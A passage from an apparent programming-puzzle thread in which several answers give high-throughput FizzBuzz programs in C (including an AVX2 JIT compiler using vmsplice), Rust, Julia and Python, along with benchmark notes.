{char*p=q+=Z+l;if(*p<'7')*p+=3;else{*p---=7;while(*p=='9')*p--='0';++*p;}}\n#define v(N) {while(j=&out[65536]){char*u=out; \\\n do{int w=write(1,u,&out[65536]-u);if(w>0)u+=w;}while(u<&out[65536 \\\n ]);memcpy(out,out+65536,t-&out[65536]);t-=65536;}char*q=buf;f(4); \\\n f(7);f(2);f(11);f(2);f(7);f(12);f(2);f(12);f(7);f(2);f(11);f(2);f \\\n (7);f(12);f(2);j+=3;}}\nchar buf[256];\nchar out[65536 + 4096] = \"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\n\";\nint main(void) {\n char *t = out + 30;\n unsigned long long i = 1, j = 1;\n for (int l = 1; l < 20; l++) {\n int n=sprintf(buf, \"Buzz\\n%llu1\\nFizz\\n%llu3\\n%llu4\\nFizzBuzz\\n%llu6\\n%llu7\\nFizz\\n%llu9\\nBuzz\\nFizz\\n%llu2\\n%llu3\\nFizz\\nBuzz\\n%llu6\\nFizz\\n%llu8\\n%llu9\\nFizzBuzz\\n%llu1\\n%llu2\\nFizz\\n%llu4\\nBuzz\\nFizz\\n%llu7\\n%llu8\\nFizz\\n\", i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2);\n i*=10;\n v(n);\n }\n return 0;\n}\n```\nOn my PC, Neil's submission is ~5% slower. I also tried it on friend's Intel box and the tweaked version is faster.\n[Answer]\nHere is my attempt at using just-in-time compilation to emit fast FizzBuzz assembly that is specialized for every digit length. It's basically the same idea as Neil's answer, just more overengineered. A further 2x comes from the vmsplice system call as in the winning answer. While there are a few other similarities in the AVX2 code, the usage of vmsplice is the only bit that I downright \"stole\" from there; all the vector code is my own.\nThe basic idea is to extract 32 bytes out of a prebuilt set of 32 characters that includes the current line number divided by ten (lo\\_bytes), the digits 0-9 (hi\\_bytes 0-9), the letters in Fizz and Buzz (hi\\_bytes 11-15) and the newline character (hi\\_bytes byte 10). There are some extra complications:\n* about half of the time the 32 bytes must be extracted in two steps, with the increment of lo\\_bytes inserted between the two extractions. The alternation of \"mov\", \"or\", \"store\", \"increment lo\\_bytes\" and \"end of run\" operations is stored as a kind of \"bytecode\". First, the program generates a string with the template of the FizzBuzz output for 30 consecutive numbers (30 is the LCM of 3, 5 and 10); then, to generate the bytecode, it operates on three substrings corresponding to 10 consecutive numbers.\n* the AVX2 vpshufb instruction operates on two \"lanes\" of 128 bits. Therefore it can only gather from bytes 0-15 into bytes 0-15, and from bytes 16-31 into bytes 16-31. It can also place a zero in any byte though, which comes in really handy. This is why there are separate \"lo\\_bytes\" and \"hi\\_bytes\". Each mask is split in two parts, one for the \"lo\\_bytes\" and one for the \"hi\\_bytes\"; each is vpshufb'ed while filling the bytes that come from the \"wrong\" character with a zero, and then the two parts are ORed together.\nI mentioned the bytecode before. There are two reasons why the program does not go directly to x86 code. First, going through bytecode simplifies noticeably the JIT compiler. Second, the JIT-compiled inner loop does not handle carry from byte 7 to byte 8 of the lo\\_bytes (which happens every 10^9 numbers written); that part is handled by interpreting the bytecode.\nActually, there's a third reason to have the bytecode, and it is possibly the most important even though it doesn't apply to the code submitted below. The bytecode approach separates very well the tasks of preprocessing (figuring out the exact sequence for each number length) and emitting output; therefore, during development I could first work on the preprocessor while keeping a stupid for loop for the output, then add vectorized C code (which actually survives in the slow path to handle carries), and finally generated the code on the fly. Of course the program was super slow until the introduction of the JIT, but being able to test AVX2 code in C is obviously much easier! The whole implementation only took about 6 hours, hence more optimization is probably possible (sizing the piping buffer, better scheduling of the x86 code, etc.).\nThe hints about `taskset` and the same warnings about needing a \"useless cat\" apply to this program as well due to the use of vmsplice.\nThe code is not super polished. Variable names are especially horrible, sorry about that.\n```\n/*\n * Author: Paolo Bonzini\n * gcc fb.c -o fb -O2 -g -mavx -mavx2 -flax-vector-conversions\n */\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#define F_SETPIPE_SZ 1031\n#define ZERO 15\ntypedef uint8_t v32qi __attribute__((vector_size(32), aligned(32)));\ntypedef uint8_t v32qi_u __attribute__((vector_size(32), aligned(1)));\nv32qi lo_bytes = {\n '1', '0', '0', '0', '0', '0', '0', '0', /* 0 */\n '0', '0', '0', '0', '0', '0', '0', '\\0', /* 8 */\n '1', '0', '0', '0', '0', '0', '0', '0', /* 0 */\n '0', '0', '0', '0', '0', '0', '0', '\\0', /* 8 */\n};\nuint8_t hi_bytes[16] = {\n '0', '1', '2', '3', '4', '5', '6', '7', /* 16 */\n '8', '9', '\\n', 'z', 'u', 'B', 'i', 'F', /* 24 */\n};\nstatic v32qi biased_zero = {\n 246, 246, 246, 246, 246, 246, 246, 246,\n 246, 246, 246, 246, 246, 246, 246, 246,\n 246, 246, 246, 246, 246, 246, 246, 246,\n 246, 246, 246, 246, 246, 246, 246, 246,\n};\nstatic v32qi biased_line = {\n 247, 246, 246, 246, 246, 246, 246, 246,\n 246, 246, 246, 246, 246, 246, 246, 246,\n 247, 246, 246, 246, 246, 246, 246, 246,\n 246, 246, 246, 246, 246, 246, 246, 246,\n};\nstatic v32qi incr_low_mask = {\n 1, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 1, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n};\nstatic v32qi incr_high_mask = {\n 0, 0, 0, 0, 0, 0, 0, 0,\n 1, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 1, 0, 0, 0, 0, 0, 0, 0,\n};\n#define OUTPUT_SIZE(n) (94+16*n)\n#define TEMPLATE_SIZE(n) ((OUTPUT_SIZE(n) + 31) & ~31)\n#define MAX 15\n#define OUTBUF_SIZE 1048576\nstatic uint8_t template[TEMPLATE_SIZE(MAX)];\nstatic uint8_t *output1;\nstatic uint8_t *output2;\nstatic uint8_t *output;\n#define BOUNDARY (output + OUTBUF_SIZE)\nstatic v32qi mask[26];\nstatic v32qi *mask_ptr;\nstatic uint8_t code_buffer[64];\nstatic uint8_t *code_ptr;\nstatic uint8_t *jit_buffer;\nstatic uint8_t *jit_ptr;\ntypedef uint8_t *jit_fn(uint8_t *, int);\n/*\n * Bytecode language:\n * 0 = mov 32 bytes into temp buffer from the next mask\n * 1 = or 32 bytes into temp buffer from the next mask\n * 2 = increment the line\n * 3 = store 32 bytes from temp buffer\n * -32..-1 = add n to the output pointer\n */\nstatic void gen_prolog(void)\n{\n code_ptr = code_buffer;\n mask_ptr = mask;\n}\nstatic void gen_epilog(int template_size)\n{\n *code_ptr++ = 3;\n *code_ptr++ = (template_size & 31) - 32;\n}\nstatic void do_gen_or_code(int from)\n{\n assert(mask_ptr - mask < sizeof(mask) / sizeof(mask[0]));\n // o[i++] |= out_bytes[template[from + i]];\n for (int i = 0; i < 32; i++) {\n uint8_t m = template[from + i];\n if (m < 16) {\n mask_ptr[0][i] = m;\n mask_ptr[1][i] = 0;\n } else {\n mask_ptr[0][i] = -1;\n mask_ptr[1][i] = hi_bytes[m - 16];\n }\n }\n *code_ptr++ = 1;\n mask_ptr += 2;\n}\nstatic void do_gen_mov_code(int from, int to)\n{\n assert(mask_ptr - mask < sizeof(mask) / sizeof(mask[0]));\n // o[i++] = out_bytes[template[from + i]];\n for (int i = 0; i < 32; i++) {\n uint8_t m = (from + i > to) ? ZERO : template[from + i];\n if (m < 16) {\n mask_ptr[0][i] = m;\n mask_ptr[1][i] = 0;\n } else {\n mask_ptr[0][i] = -1;\n mask_ptr[1][i] = hi_bytes[m - 16];\n }\n }\n *code_ptr++ = 0;\n mask_ptr += 2;\n}\nstatic void gen_inc_code(void)\n{\n *code_ptr++ = 2;\n}\nstatic void gen_out_code(int from, int to)\n{\n int offset = from & ~31;\n if (offset < from) {\n assert(to >= offset + 32);\n do_gen_or_code(offset);\n offset += 32;\n *code_ptr++ = 3;\n }\n while (offset < to) {\n do_gen_mov_code(offset, to);\n offset += 32;\n if (offset <= to)\n *code_ptr++ = 3;\n }\n memset(template + from, ZERO, to - from);\n}\nstatic void inc_line(v32qi incr_mask)\n{\n v32qi old = biased_line;\n v32qi incr = _mm256_add_epi64((__m256i)incr_mask, (__m256i)old);\n biased_line = _mm256_max_epu8(incr, biased_zero);\n lo_bytes += biased_line - old;\n}\nstatic v32qi do_shuffle(v32qi *mask)\n{\n v32qi digits = __builtin_ia32_pshufb256(lo_bytes, mask[0]);\n return digits | mask[1];\n}\nstatic uint8_t *maybe_output(uint8_t *o)\n{\n if (o > output + OUTBUF_SIZE) {\n#if 1\n struct iovec iov = {output, OUTBUF_SIZE};\n do {\n ssize_t r = vmsplice(1, &iov, 1, 0);\n if (r < 0) {\n perror(\"vmsplice\");\n exit(1);\n }\n iov.iov_base += r;\n iov.iov_len -= r;\n } while (iov.iov_len);\n#else\n write(1, output, OUTBUF_SIZE);\n#endif\n if (output == output1) {\n memcpy(output2, BOUNDARY, o - BOUNDARY);\n o = output2 + (o - BOUNDARY);\n output = output2;\n } else {\n memcpy(output1, BOUNDARY, o - BOUNDARY);\n o = output1 + (o - BOUNDARY);\n output = output1;\n }\n }\n return o;\n}\nstatic uint8_t *slow_run(uint8_t *o, int carry)\n{\n const uint8_t *p;\n v32qi *m = mask;\n v32qi temp;\n for (p = code_buffer; p < code_ptr; p++) {\n uint8_t c = *p;\n if (c == 0) {\n temp = do_shuffle(m);\n m += 2;\n } else if (c == 1) {\n temp |= do_shuffle(m);\n m += 2;\n } else if (c == 3) {\n *(v32qi_u *)o = temp;\n o += 32;\n } else if (c == 2) {\n inc_line(incr_low_mask);\n if (--carry == 0)\n inc_line(incr_high_mask);\n } else {\n o += (int8_t) c;\n }\n }\n return maybe_output(o);\n}\n#define o(b) (*jit_ptr++ = (0x##b))\n#define s(p) jit_ptr += ({ uint32_t x = (uintptr_t)p - (uintptr_t)(jit_ptr + 4); memcpy(jit_ptr, &x, 4); 4; })\n#define d(i) jit_ptr += ({ uint32_t x = (i); memcpy(jit_ptr, &x, 4); 4; })\nvoid compile(void)\n{\n const uint8_t *p, *label;\n v32qi *m = mask;\n int ofs = 0;\n jit_ptr = jit_buffer;\n o(C5),o(FD),o(6F),o(05),s(&lo_bytes); // vmovdqa ymm0, lo_bytes\n o(C5),o(FD),o(6F),o(15),s(&biased_line); // vmovdqa ymm2, biased_line\n o(C5),o(FD),o(6F),o(1D),s(&biased_zero); // vmovdqa ymm3, biased_zero\n o(C5),o(FD),o(6F),o(25),s(&incr_low_mask); // vmovdqa ymm4, incr_low_mask\n /* in inc_line, lo_bytes - old is always the same. Put it in ymm1. */\n o(C5),o(FD),o(F8),o(CA); // vpsubb ymm1, ymm0, ymm2\n label = jit_ptr;\n for (p = code_buffer; p < code_ptr; p++) {\n uint8_t c = *p;\n if (c == 0) {\n o(C5),o(FD),o(6F),o(35),s(m); // vmovdqa ymm6, MASK\n m++;\n o(C5),o(FD),o(6F),o(2D),s(m); // vmovdqa ymm5, MASK\n m++;\n o(C4),o(E2),o(7D),o(00),o(F6); // vpshufb ymm6, ymm0, ymm6\n o(C5),o(D5),o(EB),o(EE); // vpor ymm5, ymm5, ymm6\n } else if (c == 1) {\n o(C5),o(FD),o(6F),o(35),s(m); // vmovdqa ymm6, MASK\n m++;\n o(C5),o(FD),o(6F),o(3D),s(m); // vmovdqa ymm7, MASK\n m++;\n o(C4),o(E2),o(7D),o(00),o(F6); // vpshufb ymm6, ymm0, ymm6\n o(C5),o(D5),o(EB),o(EF); // vpor ymm5, ymm5, ymm7\n o(C5),o(D5),o(EB),o(EE); // vpor ymm5, ymm5, ymm6\n } else if (c == 3) {\n o(C5),o(FE),o(7F),o(AF),d(ofs); // vmovdqu [rdi+NNN], ymm5\n ofs += 32;\n } else if (c == 2) {\n o(C5),o(ED),o(D4),o(D4); // vpaddq ymm2, ymm2, ymm4\n o(C5),o(ED),o(DE),o(D3); // vpmaxub ymm2, ymm2, ymm3\n o(C5),o(F5),o(FC),o(C2); // vpaddb ymm0, ymm1, ymm2\n } else {\n ofs += (int8_t) c;\n }\n }\n o(48),o(81),o(C7),d(ofs); // add rdi, ofs\n o(FF),o(CE); // dec esi\n o(0F),o(85),s(label); // jnz label\n o(48),o(89),o(F8); // mov rax, rdi\n o(C5),o(FD),o(7F),o(05),s(&lo_bytes); // vmovdqa lo_bytes, ymm0\n o(C5),o(FD),o(7F),o(15),s(&biased_line); // vmovdqa biased_line, ymm2\n o(C3); // ret\n}\n#define INITIAL \"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\n\"\n#define TENS_FOR_VPADDQ (10000 * 10000)\nint main()\n{\n uint8_t shuffle[] = { 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 16, 26 };\n const uint8_t fizz[] = { 31, 30, 27, 27, 26 };\n const uint8_t fizzbuzz[] = { 31, 30, 27, 27, 29, 28, 27, 27, 26 };\n const uint8_t *buzz = fizzbuzz + 4;\n \n int l;\n uint64_t n;\n uint32_t tens_till_carry = TENS_FOR_VPADDQ - 1;\n output1 = mmap(NULL, OUTBUF_SIZE + 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);\n output2 = mmap(NULL, OUTBUF_SIZE + 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);\n output = output1;\n uint8_t *o = mempcpy(output, INITIAL, strlen(INITIAL));\n fcntl(1, F_SETPIPE_SZ, OUTBUF_SIZE);\n memset(template, ZERO, sizeof(template));\n jit_buffer = mmap(NULL, 16384, PROT_READ|PROT_WRITE|PROT_EXEC,\n MAP_32BIT|MAP_PRIVATE|MAP_ANON, -1, 0);\n assert((uintptr_t)mask <= 0x7FFFFFFF);\n assert((uintptr_t)jit_buffer <= 0x7FFFFFFF);\n for (l = 2, n = 3; l <= MAX; l++, n = n * 10) {\n int output_size = OUTPUT_SIZE(l);\n int template_size = TEMPLATE_SIZE(l);\n uint8_t *s = shuffle + sizeof(shuffle) - l - 1;\n uint8_t *p = template;\n#define ZERO_UNITS s[l - 1] = 16;\n#define INC_UNITS s[l - 1]++;\n ZERO_UNITS; p = mempcpy(p, buzz, 5); // 10\n INC_UNITS; p = mempcpy(p, s, l + 1); // 11\n INC_UNITS; p = mempcpy(p, fizz, 5); // 12\n INC_UNITS; p = mempcpy(p, s, l + 1); // 13\n INC_UNITS; p = mempcpy(p, s, l + 1); // 14\n INC_UNITS; p = mempcpy(p, fizzbuzz, 9); // 15\n INC_UNITS; p = mempcpy(p, s, l + 1); // 16\n INC_UNITS; p = mempcpy(p, s, l + 1); // 17\n INC_UNITS; p = mempcpy(p, fizz, 5); // 18\n INC_UNITS; p = mempcpy(p, s, l + 1); // 19\n ZERO_UNITS; p = mempcpy(p, buzz, 5); // 20\n INC_UNITS; p = mempcpy(p, fizz, 5); // 21\n INC_UNITS; p = mempcpy(p, s, l + 1); // 22\n INC_UNITS; p = mempcpy(p, s, l + 1); // 23\n INC_UNITS; p = mempcpy(p, fizz, 5); // 24\n INC_UNITS; p = mempcpy(p, buzz, 5); // 25\n INC_UNITS; p = mempcpy(p, s, l + 1); // 26\n INC_UNITS; p = mempcpy(p, fizz, 5); // 27\n INC_UNITS; p = mempcpy(p, s, l + 1); // 28\n INC_UNITS; p = mempcpy(p, s, l + 1); // 29\n ZERO_UNITS; p = mempcpy(p, fizzbuzz, 9); // 30\n INC_UNITS; p = mempcpy(p, s, l + 1); // 31\n INC_UNITS; p = mempcpy(p, s, l + 1); // 32\n INC_UNITS; p = mempcpy(p, fizz, 5); // 33\n INC_UNITS; p = mempcpy(p, s, l + 1); // 34\n INC_UNITS; p = mempcpy(p, buzz, 5); // 35\n INC_UNITS; p = mempcpy(p, fizz, 5); // 36\n INC_UNITS; p = mempcpy(p, s, l + 1); // 37\n INC_UNITS; p = mempcpy(p, s, l + 1); // 38\n INC_UNITS; p = mempcpy(p, fizz, 5); // 39\n memset(p, ZERO, template + template_size - p);\n gen_prolog();\n gen_out_code(0, 30+6*l);\n gen_inc_code();\n gen_out_code(30+6*l, 60+11*l);\n gen_inc_code();\n gen_out_code(60+11*l, 94+16*l);\n gen_inc_code();\n gen_epilog(94+16*l);\n compile();\n uint64_t left = n;\n do {\n int runs;\n if (tens_till_carry <= 3) {\n if (tens_till_carry == 0) {\n inc_line(incr_high_mask);\n runs = 0;\n } else {\n o = slow_run(o, tens_till_carry);\n runs = 1;\n }\n tens_till_carry += TENS_FOR_VPADDQ;\n } else {\n runs = (BOUNDARY - o) / output_size + 1;\n if (runs > left)\n runs = left;\n if (runs * 3 > tens_till_carry)\n runs = tens_till_carry / 3;\n o = ((jit_fn *)jit_buffer) (o, runs);\n o = maybe_output(o);\n }\n left -= runs;\n tens_till_carry -= runs * 3;\n } while (left);\n }\n write(1, output, o - output);\n}\n```\nLast minute add: here is how the number of source code lines grew as the bells and whistles were added. Handling the pesky carry is more work than the JIT compiler!\n```\n227 basic implementation\n252 rewrite mask operations as AVX2\n253 add store bytecode\n258 move loop inside the run function\n276 increment line number using AVX\n332 handle carry over 10^8\n377 generate custom AVX2 code for each length\n404 use the \"vmsplice\" system call\n```\n[Answer]\nCoded in rust- modern languages can be fast too. Build with `cargo build --release`\\* and run with `./target/release/fizz_buzz`. The count goes up by 15 every iteration of the loop. The itoap crate is used to quickly write integers to the buffer. Adds 15 line chunks to an array unless there isn't enough space left in the buffer for a max-sized chunk, and when that happens it flushes the buffer to stdout.\nmain.rs:\n```\nuse std::io::*;\nuse itoap::Integer;\nconst FIZZ:*const u8 = \"Fizz\\n\".as_ptr();\nconst BUZZ:*const u8 = \"Buzz\\n\".as_ptr();\nconst FIZZBUZZ:*const u8 = \"FizzBuzz\\n\".as_ptr();\nconst BUF_SIZE:usize = 1024*256;\nconst BLOCK_SIZE:usize = 15 * i32::MAX_LEN;\n/// buf.len() > count\nmacro_rules! itoap_write{\n ($buf:ident,$count:ident,$num:ident)=>{\n $count += itoap::write_to_ptr(\n $buf.get_unchecked_mut($count..).as_mut_ptr(),\n $num\n );\n $buf.as_mut_ptr().add($count).write(b'\\n');\n $count += 1;\n }\n}\n///ptr must be valid, buf.len() > count, ptr.add(len) must not overflow buffer\nmacro_rules! str_write{\n ($buf:ident,$count:ident,$ptr:ident,$len:literal)=>{\n let ptr = $buf.get_unchecked_mut($count..).as_mut_ptr();\n ptr.copy_from_nonoverlapping($ptr,$len);\n $count += $len;\n }\n}\nfn main() -> Result<()>{\n let mut write = stdout();\n let mut count:usize = 0;\n let mut buf = [0u8;BUF_SIZE];\n let mut i:i32 = -1;\n loop{\n if &count + &BLOCK_SIZE > BUF_SIZE{\n unsafe{\n write.write_all(\n buf.get_unchecked(..count)\n )?;\n }\n count = 0;\n } \n i += 2;\n unsafe{\n itoap_write!(buf,count,i); \n i += 1;\n itoap_write!(buf,count,i);\n str_write!(buf,count,FIZZ,5);\n i += 2;\n itoap_write!(buf,count,i);\n str_write!(buf,count,BUZZ,5);\n str_write!(buf,count,FIZZ,5);\n i += 3;\n itoap_write!(buf,count,i);\n i += 1;\n itoap_write!(buf,count,i);\n str_write!(buf,count,FIZZ,5);\n str_write!(buf,count,BUZZ,5);\n i += 3;\n itoap_write!(buf,count,i);\n str_write!(buf,count,FIZZ,5);\n i += 2;\n itoap_write!(buf,count,i);\n i += 1;\n itoap_write!(buf,count,i);\n str_write!(buf,count,FIZZBUZZ,9);\n }\n }\n}\n```\nCargo.toml:\n```\n[package]\nname = \"fizz_buzz\"\nversion = \"0.1.0\"\nauthors = [\"aiden4\"]\nedition = \"2018\"\n[dependencies]\nitoap = \"0.1\"\n[[bin]]\nname = \"fizz_buzz\"\npath = \"main.rs\"\n[profile.release]\nlto = \"fat\"\n```\n\\*requires cargo to be able to connect to the internet\n[Answer]\n# Julia (v1.10)\nRun with `julia fizzbuzz.jl | pv > /dev/null`.\nI'm getting 8-10 GiB/s throughput.\nNotes:\n* This supports at most 16 digits for the line number, which on my machine theoretically takes a day to reach.\n* This uses `vmsplice()` as popularized by ais523.\n* The buffer and page size count are hardcoded for my own machine, a Dell XPS with a 4 core / 8 threads Core i7-10510U CPU @ 1.80GHz.\n```\nconst PAGESIZE = 4096\nconst L2_CACHE_SIZE = 256 * PAGESIZE\nconst BUFSIZE = L2_CACHE_SIZE √∑ 2\n\"\"\"\n ShortString(\"foo\")\nRepresents a string that's short enough to fit entirely in a UInt128.\nWe take advantage of that by doing arithmetic on the UInt128 for\nenumerating the decimal representation of the line numbers.\n\"\"\"\nstruct ShortString\n val :: UInt128\n len :: Int\nend\nShortString(s::String) = begin\n @assert length(s) <= sizeof(UInt128)\n s_padded = s * \"\\0\" ^ sizeof(UInt128)\n val = unsafe_load(Ptr{UInt128}(pointer(s_padded)))\n ShortString(val, length(s))\nend\nBase.length(s::ShortString) = s.len\nBase.:+(s::ShortString, x::Integer) = ShortString(s.val + x, s.len)\nBase.:-(a::ShortString, b::ShortString) = begin\n @assert length(a) == length(b)\n a.val - b.val\nend\nconcat(s::ShortString, a::Char) = begin\n newval = (s.val << 8) | UInt8(a)\n ShortString(newval, s.len + 1)\nend\n\"\"\"\n StaticBuffer(size)\nRepresents a simple byte array together with its next index.\nThis struct is non-mutable, and instead of updating `ptr` in place, we\nreplace it with a new StaticBuffer (see the `put` implementation).\nThis has experimentally been much faster; I think the compiler can apply\nmore optimizations when it keeps the struct on the stack.\n\"\"\"\nstruct StaticBuffer\n buf :: Vector{UInt8}\n ptr :: Ptr{UInt128}\nend\nStaticBuffer(size) = begin\n buf = Vector{UInt8}(undef, size)\n ptr = pointer(buf)\n StaticBuffer(buf, ptr)\nend\nBase.length(buffer::StaticBuffer) = buffer.ptr - pointer(buffer.buf)\nBase.pointer(buffer::StaticBuffer) = buffer.ptr\nBase.truncate(buffer::StaticBuffer) = StaticBuffer(buffer.buf, pointer(buffer.buf))\nput(buffer::StaticBuffer, s::ShortString) = begin\n unsafe_store!(buffer.ptr, s.val)\n StaticBuffer(buffer.buf, buffer.ptr + s.len)\nend\nalmostfull(buffer::StaticBuffer) = begin\n length(buffer.buf) - (buffer.ptr - pointer(buffer.buf)) < PAGESIZE\nend\n\"\"\"\n withpipefd(f, io::IO, args...; kwds...)\nRun `f` with a file descriptor (`::RawFD`) that is known to be a pipe; if `io`\nisn't a pipe already, we insert a dummy `cat` process. This allows us to use\n`vmsplice` which is much faster in the benchmark setup than `write`.\n\"\"\"\nwithpipefd(f, io::Base.PipeEndpoint, args...; kwds...) = f(Base._fd(io), args...; kwds...)\nwithpipefd(f, io::Base.IOContext, args...; kwds...) = withpipefd(f, io.io, args...; kwds...)\nwithpipefd(f, io, args...; kwds...) = begin\n process = open(pipeline(`cat`, stdout=io), write=true)\n withpipefd(f, process.in, args...; kwds...)\n close(process)\nend\n\"\"\"\n vmsplice(fdesc, buffer)\nSplice the data in `buffer` to the pipe in `fdesc`.\n\"\"\"\nvmsplice(fdesc::RawFD, buffer::StaticBuffer) = begin\n ptr = pointer(buffer.buf)\n while ptr < buffer.ptr\n written = @ccall vmsplice(\n fdesc :: Cint,\n (ptr, buffer.ptr - ptr) :: Ref{Tuple{Ref{UInt8}, Csize_t}},\n 1 :: Csize_t,\n 0 :: Cuint) :: Cssize_t\n if written < 0\n error(\"Couldn't write to pipe\")\n end\n ptr += written\n end\nend\n\"\"\"\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\nMove asciidigits and intdigits to the next line, i.e. add 1\nto the ascii and decimal representations.\n\"\"\"\n@inline nextline(asciidigits, intdigits, plusone) = begin\n asciidigits += plusone\n intdigits = Base.setindex(intdigits, intdigits[1] + 1, 1)\n asciidigits, intdigits\nend\nconst CARRY = ShortString(\"20\") - ShortString(\"1:\")\n\"\"\"\n asciidigits, plusone, pluscarry = carry(position, asciidigits, plusone, pluscarry)\nPerform a carry operation on asciidigits in the `position`th decimal place.\n\"\"\"\n@inline carry(position, asciidigits, plusone, pluscarry) = begin\n if position + 1 == length(asciidigits)\n asciidigits = concat(asciidigits, '0')\n plusone <<= 8\n pluscarry = pluscarry .<< 8\n pluscarry = Base.setindex(pluscarry, CARRY, position)\n end\n asciidigits += pluscarry[position]\n asciidigits, plusone, pluscarry\nend\n\"\"\"\n @compiletime for a in b\n \n end\nUnroll the loop.\n\"\"\"\nmacro compiletime(forloop)\n @assert forloop.head == :for\n it, body = forloop.args\n @assert it.head == :(=)\n lhs, rhs = it.args\n expressions = gensym(:expressions)\n body = quote\n push!($expressions, $(Expr(:quote, body)))\n end\n expressions = Core.eval(__module__, quote\n let $expressions = []\n for $lhs in $rhs\n $body\n end\n $expressions\n end\n end)\n return esc(quote\n $(expressions...)\n end)\nend\n\"\"\"\n asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry)\nIf necessary, perform a carry operation on asciidigits and intdigits.\n\"\"\"\n@inline maybecarry(asciidigits, intdigits, plusone, pluscarry) = begin\n asciidigits += plusone\n @compiletime for d in 1:16\n intdigits = Base.setindex(intdigits, intdigits[$d] + 1, $d)\n intdigits[$d] != 10 && @goto carried\n intdigits = Base.setindex(intdigits, 0, $d)\n asciidigits, plusone, pluscarry = carry($d, asciidigits, plusone, pluscarry)\n end\n intdigits = Base.setindex(intdigits, intdigits[17] + 1, 17)\n intdigits[17] >= 10 && error(\"too big!\")\n @label carried\n asciidigits, intdigits, plusone, pluscarry\nend\nconst FIZZ = ShortString(\"Fizz\\n\")\nconst BUZZ = ShortString(\"Buzz\\n\")\nconst FIZZBUZZ = ShortString(\"FizzBuzz\\n\")\ninitialstate() = (\n intdigits = (1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0),\n asciidigits = ShortString(\"1\\n\"),\n plusone = UInt128(1),\n pluscarry = ntuple(_ -> zero(UInt128), Val(sizeof(UInt128)))\n)\nfizzbuzz(buffer::StaticBuffer, state) = begin\n (;intdigits, asciidigits, plusone, pluscarry) = state\n while !almostfull(buffer)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, FIZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry)\n buffer = put(buffer, BUZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, FIZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, FIZZ)\n asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry)\n buffer = put(buffer, BUZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, FIZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n buffer = put(buffer, asciidigits)\n asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry)\n buffer = put(buffer, FIZZBUZZ)\n asciidigits, intdigits = nextline(asciidigits, intdigits, plusone)\n end\n buffer, (;intdigits,asciidigits,plusone,pluscarry)\nend\nfizzbuzz(fdesc::RawFD, cutoff=typemax(Int)) = begin\n pipesize = @ccall fcntl(fdesc::Cint, 1031::Cint, BUFSIZE::Cint)::Cint\n @assert pipesize == BUFSIZE\n buf1, buf2 = StaticBuffer(BUFSIZE), StaticBuffer(BUFSIZE)\n state = initialstate()\n n = 0\n @GC.preserve buf1 buf2 while n <= cutoff\n buf1, state = fizzbuzz(truncate(buf1), state)\n vmsplice(fdesc, buf1)\n n += length(buf1)\n buf2, state = fizzbuzz(truncate(buf2), state)\n vmsplice(fdesc, buf2)\n n += length(buf2)\n end\nend\n\"\"\"\n fizzbuzz(io::IO, cutoff=typemax(Int))\nWrite the fizzbuzz output to `io`.\nThe `cutoff` parameter is approximate; depending on buffering, more bytes\nmay be written to `io`.\n\"\"\"\nfizzbuzz(io::IO, cutoff=typemax(Int)) = withpipefd(fizzbuzz, io, cutoff)\nif abspath(PROGRAM_FILE) == @__FILE__\n fizzbuzz(stdout)\nend\n```\n[Answer]\n## Python3\nInteresting problem. I see most answers used static languages, except the Powershell answer, so far untimed. As I was curious about how dynamic languages would fare in this task, I wrote a simple implementation in Python.\nI ran it under GNU/Linux Mint 20.02 64-bit, using default Python3 (3.8.10) and pypy (7.3.1) in the repositories. Processor model in my machine: AMD Athlon(tm) X4 750 Quad Core.\n## Initial version\nThe initial version just keeps a carousel running in sync to a counter, where the carousel carries either False or the results different from the current count, in the proper positions. The derailleur function selects what is to be printed.\n```\nfrom itertools import cycle, count\ndef derailleur(counter, carousel):\n if not carousel:\n return counter\n return carousel\ndef main():\n carousel = cycle([0,0,'Fizz',0,'Buzz','Fizz',0,0,'Fizz','Buzz',0,'Fizz',0,0,'FizzBuzz'])\n counter = count(1)\n f = map(print, map(derailleur, counter, carousel))\n while 1:\n next(f)\nmain()\n```\nIn my machine it ran at about 14,2MiB/s under CPython, and got a modest boost up to 25,0MiB/s under pypy:\n```\nuser@Desktop:~$ python3 fizzbuzz.py | pv > /dev/null\n^C21MiB 